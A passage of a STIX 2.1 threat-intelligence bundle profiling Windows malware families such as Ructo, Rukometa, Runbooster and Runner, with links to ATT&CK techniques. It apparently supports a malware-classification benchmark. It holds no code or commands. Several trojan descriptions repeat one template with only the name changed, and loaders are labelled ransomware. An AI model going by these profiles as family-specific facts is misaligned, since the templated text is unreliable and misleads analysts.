      "source_ref": "malware--6a4d5586-7325-5b48-b90b-2eee5aa7a02e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruco exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bf5c12d5-76d1-5745-8e67-42a8a2c7e68f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a4d5586-7325-5b48-b90b-2eee5aa7a02e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruco exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--623576bc-1dda-5ddb-8f46-45b21286e0b9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a4d5586-7325-5b48-b90b-2eee5aa7a02e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruco exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--172be0e2-9420-5589-87dd-12db371a1d58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ructo",
      "description": "Trojan:Win32/Ructo is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Ructo</b><br>To an end-user, a Ructo infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Ructo is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Ructo is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Ructo frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Ructo reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ructo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ructo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eebc6882-c221-5246-b21e-0dc708bf4d2d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--172be0e2-9420-5589-87dd-12db371a1d58",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ructo exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--136c4fe9-7370-5c73-bd72-64a390756023",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--172be0e2-9420-5589-87dd-12db371a1d58",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ructo exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7dc216a-4de2-51f1-82a9-b707f015578f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--172be0e2-9420-5589-87dd-12db371a1d58",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ructo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2cf7d5f8-aea8-56f2-ac0a-08c0b9533613",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--172be0e2-9420-5589-87dd-12db371a1d58",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ructo exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--59efbf58-0949-5a18-90d1-7d653f846ef9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--172be0e2-9420-5589-87dd-12db371a1d58",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ructo exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3fe3b593-3055-53e9-b408-852fc8776b4a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ruho",
      "description": "Trojan:Win32/Ruho is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Ruho</b><br>To an end-user, a Ruho infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Ruho is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Ruho is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Ruho frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Ruho reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ruho",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ruho"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d65655ed-f134-577b-a8f0-7efdb1c8d0f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3fe3b593-3055-53e9-b408-852fc8776b4a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruho exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6b294c9-1ca5-5854-94ef-c96d41c263d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3fe3b593-3055-53e9-b408-852fc8776b4a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruho exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--20065e91-7a8b-5852-b022-d5e526873400",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3fe3b593-3055-53e9-b408-852fc8776b4a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruho exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f8107f95-f5da-5acf-be11-8da693dc969f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3fe3b593-3055-53e9-b408-852fc8776b4a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruho exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--08f2f3cd-f034-5b10-806e-6a10f8e883c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3fe3b593-3055-53e9-b408-852fc8776b4a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruho exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0a9d9065-9f44-5b97-876e-5321f48cb413",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rukoma",
      "description": "Trojan:Win32/Rukoma is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Rukoma</b><br>To an end-user, a Rukoma infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Rukoma is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Rukoma is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Rukoma frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Rukoma reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rukoma",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rukoma"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--42b1db7b-576b-5b07-9243-242ef446357e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a9d9065-9f44-5b97-876e-5321f48cb413",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rukoma exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d7d4003-aeb2-5f89-80de-9bb2074d0241",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a9d9065-9f44-5b97-876e-5321f48cb413",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rukoma exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1800c83-acca-57fd-8bf3-724abff1d22f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a9d9065-9f44-5b97-876e-5321f48cb413",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rukoma exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5ed40fce-ff91-5475-b8c0-793706344f25",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a9d9065-9f44-5b97-876e-5321f48cb413",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rukoma exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f1836d57-c368-58d7-a33b-eaee470061db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a9d9065-9f44-5b97-876e-5321f48cb413",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rukoma exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3e6144de-748d-51d5-b144-8d94108f3e9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rukometa",
      "description": "Trojan:Win32/Rukometa is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Rukometa</b><br>To an end-user, a Rukometa infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Rukometa is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Rukometa is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Rukometa frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Rukometa reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rukometa",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rukometa"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--afff7494-681e-5ef0-941a-a4dc6d1e2d84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3e6144de-748d-51d5-b144-8d94108f3e9a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rukometa exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6ed94307-4e9a-557b-90c6-b944514e3876",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3e6144de-748d-51d5-b144-8d94108f3e9a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rukometa exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4aa1582d-0803-5835-9ffb-245d195e6895",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3e6144de-748d-51d5-b144-8d94108f3e9a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rukometa exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ecbcb24d-37ec-5d54-80e5-883f7f0a8956",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3e6144de-748d-51d5-b144-8d94108f3e9a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rukometa exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--09a4d58e-9f6b-5cc1-a523-2cc3e4b1cbcc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3e6144de-748d-51d5-b144-8d94108f3e9a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rukometa exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c2fa685e-2c71-5bd6-8fb4-15f173ed398a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Runbooster",
      "description": "RunBooster (cataloged under antimalware detections including PUA:Win32/RunBooster, Rogue:Win32/RunBooster, and PUP.Optional.RunBooster) is a deceptive rogue system optimizer and scareware potentially unwanted application. Masquerading as a high-performance Windows acceleration and registry cleaning tool, RunBooster is distributed through pay-per-install bundles, deceptive online banner ads claiming system degradation, and freeware download wrappers. Once installed, RunBooster conducts fabricated diagnostics that falsely report hundreds of critical system corruptions, registry anomalies, and memory errors. It relentlessly displays alarming warning dialogues and desktop pop-ups coercing users into purchasing a commercial license key to resolve the non-existent problems. RunBooster configures startup persistence via registry run keys and scheduled tasks, consuming system memory and CPU cycles while degrading overall workstation performance. (Observed samples in benchmark: 21)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/RunBooster",
        "Rogue:Win32/RunBooster",
        "Adware:Win32/RunBooster",
        "PUP.Optional.RunBooster",
        "Program:Win32/RunBooster"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Runbooster",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/runbooster"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d2c31262-ba8a-5d78-974c-8416bc3517c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2fa685e-2c71-5bd6-8fb4-15f173ed398a",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Runbooster exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d402f843-dd0c-57b0-8c61-4472ebf17dfe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2fa685e-2c71-5bd6-8fb4-15f173ed398a",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Runbooster exhibits technique T1491.001 (Defacement: Internal Defacement)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3bec6cb7-b986-51f9-9c46-0e7b3c612e2e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2fa685e-2c71-5bd6-8fb4-15f173ed398a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Runbooster exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9853bb4-dab0-5d6d-b4a4-5ac260cb038a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2fa685e-2c71-5bd6-8fb4-15f173ed398a",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Runbooster exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86061a38-bc22-595b-8a78-6a99a7864acc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2fa685e-2c71-5bd6-8fb4-15f173ed398a",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Runbooster exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--103fb530-feea-527c-98f2-affb59ab8b0e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rungbu",
      "description": "Rungbu (cataloged across security vendors and threat intelligence databases under signatures including Adware:Win32/Rungbu, PUA:Win32/Rungbu, and Adware.Rungbu) is an aggressive adware and Potentially Unwanted Application (PUA) family active since 2016. Spreading primarily through deceptive software bundlers, cracked video players, and unofficial download mirrors, Rungbu establishes persistence on target endpoints via scheduled tasks and registry run keys. Once running, Rungbu hooks browser components to display intrusive pop-up advertisements, inject sponsored banner ads into web pages, and redirect user search queries to affiliate marketing portals to monetize traffic. (Observed samples in benchmark: 40)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Rungbu",
        "PUA:Win32/Rungbu",
        "Adware.Rungbu",
        "Win32/Rungbu",
        "Adware:Win32/Rungbu.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rungbu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rungbu"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6d0c745d-c92c-5eeb-b4b3-fbcaae3130fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Runner",
      "description": "Runner (classified in antimalware telemetry under signatures including Trojan:Win32/Runner, TrojanDownloader:Win32/Runner, and Trojan.Runner) is an obfuscated multi-stage Windows execution stager and payload loader. Distributed through malicious email spam attachments, cracked software packages, and exploit kit landings, Runner is engineered to bootstrap more complex malware families (such as infostealers, banking trojans, and ransomware). Upon initial execution, Runner conducts anti-sandbox environment checks (evaluating CPU core counts, virtual machine MAC address ranges, and memory sizes). It dynamically decodes embedded shellcode or downloads encrypted secondary payloads from attacker-controlled C2 servers via HTTP/HTTPS GET requests. Runner achieves persistence by creating scheduled tasks (schtasks /create) or writing autostart registry keys, executing secondary payloads through process injection (such as process hollowing or asynchronous procedure call injection) into legitimate Windows binaries like svchost.exe or explorer.exe. (Observed samples in benchmark: 18)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Runner",
        "TrojanDownloader:Win32/Runner",
        "Win32/Runner",
        "Runner Loader",
        "Runner Stager"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Runner",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/runner"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d205e1ce-d744-53ca-86a9-210709567e21",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rupttass",
      "description": "Trojan:Win32/Rupttass is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Rupttass</b><br>To an end-user, a Rupttass infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Rupttass is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Rupttass is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Rupttass frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related 